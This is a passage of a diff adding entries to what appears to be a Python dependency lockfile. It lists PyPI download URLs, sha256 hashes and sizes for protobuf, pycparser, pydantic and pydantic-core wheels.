"https://files.pythonhosted.org/packages/9b/ca/25afc144934014700c52e05103c2421997482d561f3101ff352e1292fb81/protobuf-6.33.6-cp39-abi3-manylinux2014_s390x.whl", hash = "sha256:c96c37eec15086b79762ed265d59ab204dabc53056e3443e702d2681f4b39ce3", size = 339381, upload-time = "2026-03-18T19:04:54.616Z" }, + { url = "https://files.pythonhosted.org/packages/16/92/d1e32e3e0d894fe00b15ce28ad4944ab692713f2e7f0a99787405e43533a/protobuf-6.33.6-cp39-abi3-manylinux2014_x86_64.whl", hash = "sha256:e9db7e292e0ab79dd108d7f1a94fe31601ce1ee3f7b79e0692043423020b0593", size = 323436, upload-time = "2026-03-18T19:04:55.768Z" }, + { url = "https://files.pythonhosted.org/packages/c4/72/02445137af02769918a93807b2b7890047c32bfb9f90371cbc12688819eb/protobuf-6.33.6-py3-none-any.whl", hash = "sha256:77179e006c476e69bf8e8ce866640091ec42e1beb80b213c3900006ecfba6901", size = 170656, upload-time = "2026-03-18T19:04:59.826Z" }, +] + +[[package]] +name = "pycparser" +version = "3.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/1b/7d/92392ff7815c21062bea51aa7b87d45576f649f16458d78b7cf94b9ab2e6/pycparser-3.0.tar.gz", hash = "sha256:600f49d217304a5902ac3c37e1281c9fe94e4d0489de643a9504c5cdfdfc6b29", size = 103492, upload-time = "2026-01-21T14:26:51.89Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/0c/c3/44f3fbbfa403ea2a7c779186dc20772604442dde72947e7d01069cbe98e3/pycparser-3.0-py3-none-any.whl", hash = "sha256:b727414169a36b7d524c1c3e31839a521725078d7b2ff038656844266160a992", size = 48172, upload-time = "2026-01-21T14:26:50.693Z" }, +] + +[[package]] +name = "pydantic" +version = "2.12.5" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "annotated-types" }, + { name = "pydantic-core" }, + { name = "typing-extensions" }, + { name = "typing-inspection" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/69/44/36f1a6e523abc58ae5f928898e4aca2e0ea509b5aa6f6f392a5d882be928/pydantic-2.12.5.tar.gz", hash = "sha256:4d351024c75c0f085a9febbb665ce8c0c6ec5d30e903bdb6394b7ede26aebb49", size = 821591, upload-time = "2025-11-26T15:11:46.471Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/5a/87/b70ad306ebb6f9b585f114d0ac2137d792b48be34d732d60e597c2f8465a/pydantic-2.12.5-py3-none-any.whl", hash = "sha256:e561593fccf61e8a20fc46dfc2dfe075b8be7d0188df33f221ad1f0139180f9d", size = 463580, upload-time = "2025-11-26T15:11:44.605Z" }, +] + +[[package]] +name = "pydantic-core" +version = "2.41.5" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "typing-extensions" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/71/70/23b021c950c2addd24ec408e9ab05d59b035b39d97cdc1130e1bce647bb6/pydantic_core-2.41.5.tar.gz", hash = "sha256:08daa51ea16ad373ffd5e7606252cc32f07bc72b28284b6bc9c6df804816476e", size = 460952, upload-time = "2025-11-04T13:43:49.098Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/e8/72/74a989dd9f2084b3d9530b0915fdda64ac48831c30dbf7c72a41a5232db8/pydantic_core-2.41.5-cp311-cp311-macosx_10_12_x86_64.whl", hash = "sha256:a3a52f6156e73e7ccb0f8cced536adccb7042be67cb45f9562e12b319c119da6", size = 2105873, upload-time = "2025-11-04T13:39:31.373Z" }, + { url = "https://files.pythonhosted.org/packages/12/44/37e403fd9455708b3b942949e1d7febc02167662bf1a7da5b78ee1ea2842/pydantic_core-2.41.5-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:7f3bf998340c6d4b0c9a2f02d6a400e51f123b59565d74dc60d252ce888c260b", size = 1899826, upload-time = "2025-11-04T13:39:32.897Z" }, + { url = "https://files.pythonhosted.org/packages/33/7f/1d5cab3ccf44c1935a359d51a8a2a9e1a654b744b5e7f80d41b88d501eec/pydantic_core-2.41.5-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:378bec5c66998815d224c9ca994f1e14c0c21cb95d2f52b6021cc0b2a58f2a5a", size = 1917869, upload-time = "2025-11-04T13:39:34.469Z" }, + { url = "https://files.pythonhosted.org/packages/6e/6a/30d94a9674a7fe4f4744052ed6c5e083424510be1e93da5bc47569d11810/pydantic_core-2.41.5-cp311-cp311-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:e7b576130c69225432866fe2f4a469a85a54ade141d96fd396dffcf607b558f8", size = 2063890, upload-time = "2025-11-04T13:39:36.053Z" }, + { url = "https://files.pythonhosted.org/packages/50/be/76e5d46203fcb2750e542f32e6c371ffa9b8ad17364cf94bb0818dbfb50c/pydantic_core-2.41.5-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:6cb58b9c66f7e4179a2d5e0f849c48eff5c1fca560994d6eb6543abf955a149e", size = 2229740, upload-time = "2025-11-04T13:39:37.753Z" }, + { url = "https://files.pythonhosted.org/packages/d3/ee/fed784df0144793489f87db310a6bbf8118d7b630ed07aa180d6067e653a/pydantic_core-2.41.5-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:88942d3a3dff3afc8288c21e565e476fc278902ae4d6d134f1eeda118cc830b1", size = 2350021, upload-time = "2025-11-04T13:39:40.94Z" }, + { url = "https://files.pythonhosted.org/packages/c8/be/8fed28dd0a180dca19e72c233cbf58efa36df055e5b9d90d64fd1740b828/pydantic_core-2.41.5-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:f31d95a179f8d64d90f6831d71fa93290893a33148d890ba15de25642c5d075b", size = 2066378, upload-time = "2025-11-04T13:39:42.523Z" }, + { url = "https://files.pythonhosted.org/packages/b0/3b/698cf8ae1d536a010e05121b4958b1257f0b5522085e335360e53a6b1c8b/pydantic_core-2.41.5-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:c1df3d34aced70add6f867a8cf413e299177e0c22660cc767218373d0779487b", size = 2175761, upload-time = "2025-11-04T13:39:44.553Z" }, + { url = "https://files.pythonhosted.org/packages/b8/ba/15d537423939553116dea94ce02f9c31be0fa9d0b806d427e0308ec17145/pydantic_core-2.41.5-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:4009935984bd36bd2c774e13f9a09563ce8de4abaa7226f5108262fa3e637284", size = 2146303, upload-time = "2025-11-04T13:39:46.238Z" }, + { url = "https://files.pythonhosted.org/packages/58/7f/0de669bf37d206723795f9c90c82966726a2ab06c336deba4735b55af431/pydantic_core-2.41.5-cp311-cp311-musllinux_1_1_armv7l.whl", hash = "sha256:34a64bc3441dc1213096a20fe27e8e128bd3ff89921706e83c0b1ac971276594", size = 2340355, upload-time = "2025-11-04T13:39:48.002Z" }, + { url = "https://files.pythonhosted.org/packages/e5/de/e7482c435b83d7e3c3ee5ee4451f6e8973cff0eb6007d2872ce6383f6398/pydantic_core-2.41.5-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:c9e19dd6e28fdcaa5a1de679aec4141f691023916427ef9bae8584f9c2fb3b0e", size = 2319875, upload-time = "2025-11-04T13:39:49.705Z" }, + { url = "https://files.pythonhosted.org/packages/fe/e6/8c9e81bb6dd7560e33b9053351c29f30c8194b72f2d6932888581f503482/pydantic_core-2.41.5-cp311-cp311-win32.whl", hash = "sha256:2c010c6ded393148374c0f6f0bf89d206bf3217f201faa0635dcd56bd1520f6b", size = 1987549, upload-time = "2025-11-04T13:39:51.842Z" }, + { url = "https://files.pythonhosted.org/packages/11/66/f14d1d978ea94d1bc21fc98fcf570f9542fe55bfcc40269d4e1a21c19bf7/pydantic_core-2.41.5-cp311-cp311-win_amd64.whl", hash = "sha256:76ee27c6e9c7f16f47db7a94157112a2f3a00e958bc626e2f4ee8bec5c328fbe", size = 2011305, upload-time = "2025-11-04T13:39:53.485Z" }, + { url = "https://files.pythonhosted.org/packages/56/d8/0e271434e8efd03186c5386671328154ee349ff0354d83c74f5caaf096ed/pydantic_core-2.41.5-cp311-cp311-win_arm64.whl", hash = "sha256:4bc36bbc0b7584de96561184ad7f012478987882ebf9f9c389b23f432ea3d90f", size = 1972902, upload-time = "2025-11-04T13:39:56.488Z" }, + { url = "https://files.pythonhosted.org/packages/5f/5d/5f6c63eebb5afee93bcaae4ce9a898f3373ca23df3ccaef086d0233a35a7/pydantic_core-2.41.5-cp312-cp312-macosx_10_12_x86_64.whl", hash = "sha256:f41a7489d32336dbf2199c8c0a215390a751c5b014c2c1c5366e817202e9cdf7", size = 2110990, upload-time = "2025-11-04T13:39:58.079Z" }, + { url = "https://files.pythonhosted.org/packages/aa/32/9c2e8ccb57c01111e0fd091f236c7b371c1bccea0fa85247ac55b1e2b6b6/pydantic_core-2.41.5-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:070259a8818988b9a84a449a2a7337c7f430a22acc0859c6b110aa7212a6d9c0", size = 1896003, upload-time = "2025-11-04T13:39:59.956Z" }, + { url = "https://files.pythonhosted.org/packages/68/b8/a01b53cb0e59139fbc9e4fda3e9724ede8de279097179be4ff31f1abb65a/pydantic_core-2.41.5-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:e96cea19e34778f8d59fe40775a7a574d95816eb150850a85a7a4c8f4b94ac69", size = 1919200, upload-time = "2025-11-04T13:40:02.241Z" }, + { url = "https://files.pythonhosted.org/packages/38/de/8c36b5198a29bdaade07b5985e80a233a5ac27137846f3bc2d3b40a47360/pydantic_core-2.41.5-cp312-cp312-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:ed2e99c456e3fadd05c991f8f437ef902e00eedf34320ba2b0842bd1c3ca3a75", size = 2052578, upload-time = "2025-11-04T13:40:04.401Z" }, + { url = "https://files.pythonhosted.org/packages/00/b5/0e8e4b5b081eac6cb3dbb7e60a65907549a1ce035a724368c330112adfdd/pydantic_core-2.41.5-cp312-cp312-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:65840751b72fbfd82c3c640cff9284545342a4f1eb1586ad0636955b261b0b05", size = 2208504, upload-time = "2025-11-04T13:40:06.072Z" }, + { url = "https://files.pythonhosted.org/packages/77/56/87a61aad59c7c5b9dc8caad5a41a5545cba3810c3e828708b3d7404f6cef/pydantic_core-2.41.5-cp312-cp312-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:e536c98a7626a98feb2d3eaf75944ef6f3dbee447e1f841eae16f2f0a72d8ddc", size = 2335816, upload-time = "2025-11-04T13:40:07.835Z" }, + { url = "https://files.pythonhosted.org/packages/0d/76/941cc9f73529988688a665a5c0ecff1112b3d95ab48f81db5f7606f522d3/pydantic_core-2.41.5-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:eceb81a8d74f9267ef4081e246ffd6d129da5d87e37a77c9bde550cb04870c1c", size = 2075366, upload-time = "2025-11-04T13:40:09.804Z" }, + { url = "https://files.pythonhosted.org/packages/d3/43/ebef01f69baa07a482844faaa0a591bad1ef129253ffd0cdaa9d8a7f72d3/pydantic_core-2.41.5-cp312-cp312-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:d38548150c39b74aeeb0ce8ee1d8e82696f4a4e16ddc6de7b1d8823f7de4b9b5", size = 2171698, upload-time = "2025-11-04T13:40:12.004Z" }, + { url = "https://files.pythonhosted.org/packages/b1/87/41f3202e4193e3bacfc2c065fab7706ebe81af46a83d3e27605029c1f5a6/pydantic_core-2.41.5-cp312-cp312-musllinux_1_1_aarch64.whl", hash = "sha256:c23e27686783f60290e36827f9c626e63154b82b116d7fe9adba1fda36da706c", size = 2132603, upload-time = "2025-11-04T13:40:13.868Z" }, + { url = "https://files.pythonhosted.org/packages/49/7d/4c00df99cb12070b6bccdef4a195255e6020a550d572768d92cc54dba91a/pydantic_core-2.41.5-cp312-cp312-musllinux_1_1_armv7l.whl", hash = "sha256:482c982f814460eabe1d3bb0adfdc583387bd4691ef00b90575ca0d2b6fe2294", size = 2329591, upload-time = "2025-11-04T13:40:15.672Z" }, + { url = "https://files.pythonhosted.org/packages/cc/6a/ebf4b1d65d458f3cda6a7335d141305dfa19bdc61140a884d165a8a1bbc7/pydantic_core-2.41.5-cp312-cp312-musllinux_1_1_x86_64.whl", hash = "sha256:bfea2a5f0b4d8d43adf9d7b8bf019fb46fdd10a2e5cde477fbcb9d1fa08c68e1", size = 2319068, upload-time = "2025-11-04T13:40:17.532Z" }, + { url = "https://files.pythonhosted.org/packages/49/3b/774f2b5cd4192d5ab75870ce4381fd89cf218af999515baf07e7206753f0/pydantic_core-2.41.5-cp312-cp312-win32.whl", hash = "sha256:b74557b16e390ec12dca509bce9264c3bbd128f8a2c376eaa68003d7f327276d", size = 1985908, upload-time = "2025-11-04T13:40:19.309Z" }, + { url = "https://files.pythonhosted.org/packages/86/45/00173a033c801cacf67c190fef088789394feaf88a98a7035b0e40d53dc9/pydantic_core-2.41.5-cp312-cp312-win_amd64.whl", hash = "sha256:1962293292865bca8e54702b08a4f26da73adc83dd1fcf26fbc875b35d81c815", size = 2020145, upload-time = "2025-11-04T13:40:21.548Z" }, + { url = "https://files.pythonhosted.org/packages/f9/22/91fbc821fa6d261b376a3f73809f907cec5ca6025642c463d3488aad22fb/pydantic_core-2.41.5-cp312-cp312-win_arm64.whl", hash = "sha256:1746d4a3d9a794cacae06a5eaaccb4b8643a131d45fbc9af23e353dc0a5ba5c3", size = 1976179, upload-time = "2025-11-04T13:40:23.393Z" }, + { url = "https://files.pythonhosted.org/packages/87/06/8806241ff1f70d9939f9af039c6c35f2360cf16e93c2ca76f184e76b1564/pydantic_core-2.41.5-cp313-cp313-macosx_10_12_x86_64.whl", hash = "sha256:941103c9be18ac8daf7b7adca8228f8ed6bb7a1849020f643b3a14d15b1924d9", size = 2120403, upload-time = "2025-11-04T13:40:25.248Z" }, + { url = "https://files.pythonhosted.org/packages/94/02/abfa0e0bda67faa65fef1c84971c7e45928e108fe24333c81f3bfe35d5f5/pydantic_core-2.41.5-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:112e305c3314f40c93998e567879e887a3160bb8689ef3d2c04b6cc62c33ac34", size = 1896206, upload-time = "2025-11-04T13:40:27.099Z" }, + { url = "https://files.pythonhosted.org/packages/15/df/a4c740c0943e93e6500f9eb23f4ca7ec9bf71b19e608ae5b579678c8d02f/pydantic_core-2.41.5-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:0cbaad15cb0c90aa221d43c00e77bb33c93e8d36e0bf74760cd00e732d10a6a0", size = 1919307, upload-time = "2025-11-04T13:40:29.806Z" }, + { url = "https://files.pythonhosted.org/packages/9a/e3/6324802931ae1d123528988e0e86587c2072ac2e5394b4bc2bc34b61ff6e/pydantic_core-2.41.5-cp313-cp313-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:03ca43e12fab6023fc79d28ca6b39b05f794ad08ec2feccc59a339b02f2b3d33", size = 2063258, upload-time = "2025-11-04T13:40:33.544Z" }, + { url = "https://files.pythonhosted.org/packages/c9/d4/2230d7151d4957dd79c3044ea26346c148c98fbf0ee6ebd41056f2d62ab5/pydantic_core-2.41.5-cp313-cp313-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:dc799088c08fa04e43144b164feb0c13f9a0bc40503f8df3e9fde58a3c0c101e", size = 2214917, upload-time = "2025-11-04T13:40:35.479Z" }, + { url = "https://files.pythonhosted.org/packages/e6/9f/eaac5df17a3672fef0081b6c1bb0b82b33ee89aa5cec0d7b05f52fd4a1fa/pydantic_core-2.41.5-cp313-cp313-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:97aeba56665b4c3235a0e52b2c2f5ae9cd071b8a8310ad27bddb3f7fb30e9aa2", size = 2332186, upload-time = "2025-11-04T13:40:37.436Z" }, + { url = "https://files.pythonhosted.org/packages/cf/4e/35a80cae583a37cf15604b44240e45c05e04e86f9cfd766623149297e971/pydantic_core-2.41.5-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:406bf18d345822d6c21366031003612b9c77b3e29ffdb0f612367352aab7d586", size = 2073164, upload-time = "2025-11-04T13:40:40.289Z" }, + { url = "https://files.pythonhosted.org/packages/bf/e3/f6e262673c6140dd3305d144d032f7bd5f7497d3871c1428521f19f9efa2/pydantic_core-2.41.5-cp313-cp313-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:b93590ae81f7010dbe380cdeab6f515902ebcbefe0b9327cc4804d74e93ae69d", size = 2179146, upload-time = "2025-11-04T13:40:42.809Z" }, + { url = "https://files.pythonhosted.org/packages/75/c7/20bd7fc05f0c6ea2056a4565c6f36f8968c0924f19b7d97bbfea55780e73/pydantic_core-2.41.5-cp313-cp313-musllinux_1_1_aarch64.whl", hash = "sha256:01a3d0ab748ee531f4ea6c3e48ad9dac84ddba4b0d82291f87248f2f9de8d740", size = 2137788, upload-time = "2025-11-04T13:40:44.752Z" }, + { url = "https://files.pythonhosted.org/packages/3a/8d/34318ef985c45196e004bc46c6eab2eda437e744c124ef0dbe1ff2c9d06b/pydantic_core-2.41.5-cp313-cp313-musllinux_1_1_armv7l.whl", hash = "sha256:6561e94ba9dacc9c61bce40e2d6bdc3bfaa0259d3ff36ace3b1e6901936d2e3e", size = 2340133, upload-time = "2025-11-04T13:40:46.66Z" }, + { url = "https://files.pythonhosted.org/packages/9c/59/013626bf8c78a5a5d9350d12e7697d3d4de951a75565496abd40ccd46bee/pydantic_core-2.41.5-cp313-cp313-musllinux_1_1_x86_64.whl", hash = "sha256:915c3d10f81bec3a74fbd4faebe8391013ba61e5a1a8d48c4455b923bdda7858", size = 2324852, upload-time = "2025-11-04T13:40:48.575Z" }, + { url = "https://files.pythonhosted.org/packages/1a/d9/c248c103856f807ef70c18a4f986693a46a8ffe1602e5d361485da502d20/pydantic_core-2.41.5-cp313-cp313-win32.whl", hash = "sha256:650ae77860b45cfa6e2cdafc42618ceafab3a2d9a3811fcfbd3bbf8ac3c40d36", size = 1994679, upload-time = "2025-11-04T13:40:50.619Z" }, + { url = "https://files.pythonhosted.org/packages/9e/8b/341991b158ddab181cff136acd2552c9f35bd30380422a639c0671e99a91/pydantic_core-2.41.5-cp313-cp313-win_amd64.whl", hash = "sha256:79ec52ec461e99e13791ec6508c722742ad745571f234ea6255bed38c6480f11", size = 2019766, upload-time = "2025-11-04T13:40:52.631Z" }, + { url = "https://files.pythonhosted.org/packages/73/7d/f2f9db34af103bea3e09735bb40b021788a5e834c81eedb541991badf8f5/pydantic_core-2.41.5-cp313-cp313-win_arm64.whl", hash = "sha256:3f84d5c1b4ab906093bdc1ff10484838aca54ef08de4afa9de0f5f14d69639cd", size = 1981005, upload-time = "2025-11-04T13:40:54.734Z" }, + { url = "https://files.pythonhosted.org/packages/ea/28/46b7c5c9635ae96ea0fbb779e271a38129df2550f763937659ee6c5dbc65/pydantic_core-2.41.5-cp314-cp314-macosx_10_12_x86_64.whl", hash = "sha256:3f37a19d7ebcdd20b96485056ba9e8b304e27d9904d233d7b1015db320e51f0a", size = 2119622, upload-time = "2025-11-04T13:40:56.68Z" }, + { url = "https://files.pythonhosted.org/packages/74/1a/145646e5687e8d9a1e8d09acb278c8535ebe9e972e1f162ed338a622f193/pydantic_core-2.41.5-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:1d1d9764366c73f996edd17abb6d9d7649a7eb690006ab6adbda117717099b14", size = 1891725, upload-time = "2025-11-04T13:40:58.807Z" }, + { url = "https://files.pythonhosted.org/packages/23/04/e89c29e267b8060b40dca97bfc64a19b2a3cf99018167ea1677d96368273/pydantic_core-2.41.5-cp314-cp314-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:25e1c2af0fce638d5f1988b686f3b3ea8cd7de5f244ca147c777769e798a9cd1", size = 1915040, upload-time = "2025-11-04T13:41:00.853Z" }, + { url = "https://files.pythonhosted.org/packages/84/a3/15a82ac7bd97992a82257f777b3583d3e84bdb06ba6858f745daa2ec8a85/pydantic_core-2.41.5-cp314-cp314-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:506d766a8727beef16b7adaeb8ee6217c64fc813646b424d0804d67c16eddb66", size = 2063691, upload-time = "2025-11-04T13:41:03.504Z" }, + { url = "https://files.pythonhosted.org/packages/74/9b/0046701313c6ef08c0c1cf0e028c67c770a4e1275ca73131563c5f2a310a/pydantic_core-2.41.5-cp314-cp314-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:4819fa52133c9aa3c387b3328f25c1facc356491e6135b459f1de698ff64d869", size = 2213897, upload-time = "2025-11-04T13:41:05.804Z" }, + { url = "https://files.pythonhosted.org/packages/8a/cd/6bac76ecd1b27e75a95ca3a9a559c643b3afcd2dd62086d4b7a32a18b169/pydantic_core-2.41.5-cp314-cp314-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:2b761d210c9ea91feda40d25b4efe82a1707da2ef62901466a42492c028553a2", size = 2333302, upload-time = "2025-11-04T13:41:07.809Z" }, + { url = "https://files.pythonhosted.org/packages/4c/d2/ef2074dc020dd6e109611a8be4449b98cd25e1b9b8a303c2f0fca2f2bcf7/pydantic_core-2.41.5-cp314-cp314-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:22f0fb8c1c583a3b6f24df2470833b40207e907b90c928cc8d3594b76f874375", size = 2064877, upload-time = "2025-11-04T13:41:09.827Z" }, + { url = "https://files.pythonhosted.org/packages/18/66/e9db17a9a763d72f03de903883c057b2592c09509ccfe468187f2a2eef29/pydantic_core-2.41.5-cp314-cp314-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:2782c870e99878c634505236d81e5443092fba820f0373997ff75f90f68cd553", size = 2180680, upload-time = "2025-11-04T13:41:12.379Z" }, + { url = "https://files.pythonhosted.org/packages/d3/9e/3ce66cebb929f3ced22be85d4c2399b8e85b622db77dad36b73c5387f8f8/pydantic_core-2.41.5-cp314-cp314-musllinux_1_1_aarch64.whl", hash = "sha256:0177272f88ab8312479336e1d777f6b124537d47f2123f89cb37e0accea97f90", size = 2138960, upload-time = "2025-11-04T13:41:14.627Z" }, + { url = "https://files.pythonhosted.org/packages/a6/62/205a998f4327d2079326b01abee48e502ea739d174f0a89295c481a2272e/pydantic_core-2.41.5-cp314-cp314-musllinux_1_1_armv7l.whl", hash = "sha256:63510af5e38f8955b8ee5687740d6ebf7c2a0886d15a6d65c32814613681bc07", size = 2339102, upload-time = "2025-11-04T13:41:16.868Z" }, + { url = "https://files.pythonhosted.org/packages/3c/0d/f05e79471e889d74d3d88f5bd20d0ed189ad94c2423d81ff8d0000aab4ff/pydantic_core-2.41.5-cp314-cp314-musllinux_1_1_x86_64.whl", hash = "sha256:e56ba91f47764cc14f1daacd723e3e82d1a89d783f0f5afe9c364b8bb491ccdb", size = 2326039, upload-time = "2025-11-04T13:41:18.934Z" }, + { url = "https://files.pythonhosted.org/packages/ec/e1/e08a6208bb100da7e0c4b288eed624a703f4d129bde2da475721a80cab32/pydantic_core-2.41.5-cp314-cp314-win32.whl", hash = "sha256:aec5cf2fd867b4ff45b9959f8b20ea3993fc93e63c7363fe6851424c8a7e7c23", size = 1995126, upload-time = "2025-11-04T13:41:21.418Z" }, + { url = "https://files.pythonhosted.org/packages/48/5d/56ba7b24e9557f99c9237e29f5c09913c81eeb2f3217e40e922353668092/pydantic_core-2.41.5-cp314-cp314-win_amd64.whl", hash = "sha256:8e7c86f27c585ef37c35e56a96363ab8de4e549a95512445b85c96d3e2f7c1bf", size = 2015489, upload-time = "2025-11-04T13:41:24.076Z" }, + { url = "https://files.pythonhosted.org/packages/4e/bb/f7a190991ec9e3e0ba22e4993d8755bbc4a32925c0b5b42775c03e8148f9/pydantic_core-2.41.5-cp314-cp314-win_arm64.whl", hash = "sha256:e672ba74fbc2dc8eea59fb6d4aed6845e6905fc2a8afe93175d94a83ba2a01a0", size = 1977288, upload-time = "2025-11-04T13:41:26.33Z" }, + { url = "https://files.pythonhosted.org/packages/92/ed/77542d0c51538e32e15afe7899d79efce4b81eee631d99850edc2f5e9349/pydantic_core-2.41.5-cp314-cp314t-macosx_10_12_x86_64.whl", hash = "sha256:8566def80554c3faa0e65ac30ab0932b9e3a5cd7f8323764303d468e5c37595a", size = 2120255, upload-time = "2025-11-04T13:41:28.569Z" }, + { url = "https://files.pythonhosted.org/packages/bb/3d/6913dde84d5be21e284439676168b28d8bbba5600d838b9dca99de0fad71/pydantic_core-2.41.5-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:b80aa5095cd3109962a298ce14110ae16b8c1aece8b72f9dafe81cf597ad80b3", size = 1863760, upload-time = "2025-11-04T13:41:31.055Z" }, + { url = "https://files.pythonhosted.org/packages/5a/f0/e5e6b99d4191da102f2b0eb9687aaa7f5bea5d9964071a84effc3e40f997/pydantic_core-2.41.5-cp314-cp314t-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:3006c3dd9ba34b0c094c544c6006cc79e87d8612999f1a5d43b769b89181f23c", size = 1878092, upload-time = "2025-11-04T13:41:33.21Z" }, + { url = "https://files.pythonhosted.org/packages/71/48/36fb760642d568925953bcc8116455513d6e34c4beaa37544118c36aba6d/pydantic_core-2.41.5-cp314-cp314t-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:72f6c8b11857a856bcfa48c86f5368439f74453563f951e473514579d44aa612", size = 2053385, upload-time = "2025-11-04T13:41:35.508Z" }, + { url = "https://files.pythonhosted.org/packages/20/25/92dc684dd8eb75a234bc1c764b4210cf2646479d54b47bf46061657292a8/pydantic_core-2.41.5-cp314-cp314t-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:5cb1b2f9742240e4bb26b652a5aeb840aa4b417c7748b6f8387927bc6e45e40d", size = 2218832, upload-time = "2025-11-04T13:41:37.732Z" }, + { url = "https://files.pythonhosted.org/packages/e2/09/f53e0b05023d3e30357d82eb35835d0f6340ca344720a4599cd663dca599/pydantic_core-2.41.5-cp314-cp314t-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:bd3d54f38609ff308209bd43acea66061494157703364ae40c951f83ba99a1a9", size = 2327585, upload-time = "2025-11-04T13:41:40Z" }, + { url = "https://files.pythonhosted.org/packages/aa/4e/2ae1aa85d6af35a39b236b1b1641de73f5a6ac4d5a7509f77b814885760c/pydantic_core-2.41.5-cp314-cp314t-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:2ff4321e56e879ee8d2a879501c8e469414d948f4aba74a2d4593184eb326660", size = 2041078, upload-time = "2025-11-04T13:41:42.323Z" }, + { url = "https://files.pythonhosted.org/packages/cd/13/2e215f17f0ef326fc72afe94776edb77525142c693767fc347ed6288728d/pydantic_core-2.41.5-cp314-cp314t-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:d0d2568a8c11bf8225044aa94409e21da0cb09dcdafe9ecd10250b2baad531a9", size = 2173914, upload-time = "2025-11-04T13:41:45.221Z" }, + { url = "https://files.pythonhosted.org/packages/02/7a/f999a6dcbcd0e5660bc348a3991c8915ce6599f4f2c6ac22f01d7a10816c/pydantic_core-2.41.5-cp314-cp314t-musllinux_1_1_aarch64.whl", hash = "sha256:a39455728aabd58ceabb03c90e12f71fd30fa69615760a075b9fec596456ccc3", size = 2129560, upload-time = "2025-11-04T13:41:47.474Z" }, + { url = "https://files.pythonhosted.org/packages/3a/b1/6c990ac65e3b4c079a4fb9f5b05f5b013afa0f4ed6780a3dd236d2cbdc64/pydantic_core-2.41.5-cp314-cp314t-musllinux_1_1_armv7l.whl", hash = "sha256:239edca560d05757817c13dc17c50766136d21f7cd0fac50295499ae24f90fdf", size = 2329244, upload-time = "2025-11-04T13:41:49.992Z" }, + { url = "https://files.pythonhosted.org/packages/d9/02/3c562f3a51afd4d88fff8dffb1771b30cfdfd79befd9883ee094f5b6c0d8/pydantic_core-2.41.5-cp314-cp314t-musllinux_1_1_x86_64.whl", hash = "sha256:2a5e06546e19f24c6a96a129142a75cee553cc018ffee48a460059b1185f4470", size = 2331955, upload-time = "2025-11-04T13:41:54.079Z" }, + { url = "https://files.pythonhosted.org/packages/5c/96/5fb7d8c3c17bc8c62fdb031c47d77a1af698f1d7a406b0f79aaa1338f9ad/pydantic_core-2.41.5-cp314-cp314t-win32.whl", hash = "sha256:b4ececa40ac28afa90871c2cc2b9ffd2ff0bf749380fbdf57d165fd23da353aa", size = 1988906, upload-time = "2025-11-04T13:41:56.606Z" }, + { url = "https://files.pythonhosted.org/packages/22/ed/182129d83032702912c2e2d8bbe33c036f342cc735737064668585dac28f/pydantic_core-2.41.5-cp314-cp314t-win_amd64.whl", hash = "sha256:80aa89cad80b32a912a65332f64a4450ed00966111b6615ca6816153d3585a8c", size = 1981607, upload-time = "2025-11-04T13:41:58.889Z" }, + { url = "https://files.pythonhosted.org/packages/9f/ed/068e41660b832bb0b1aa5b58011dea2a3fe0ba7861ff38c4d4904c1c1a99/pydantic_core-2.41.5-cp314-cp314t-win_arm64.whl", hash = "sha256:35b44f37a3199f771c3eaa53051bc8a70cd7b54f333531c59e29fd4db5d15008", size = 1974769, upload-time = "2025-11-04T13:42:01.186Z" }, + { url = 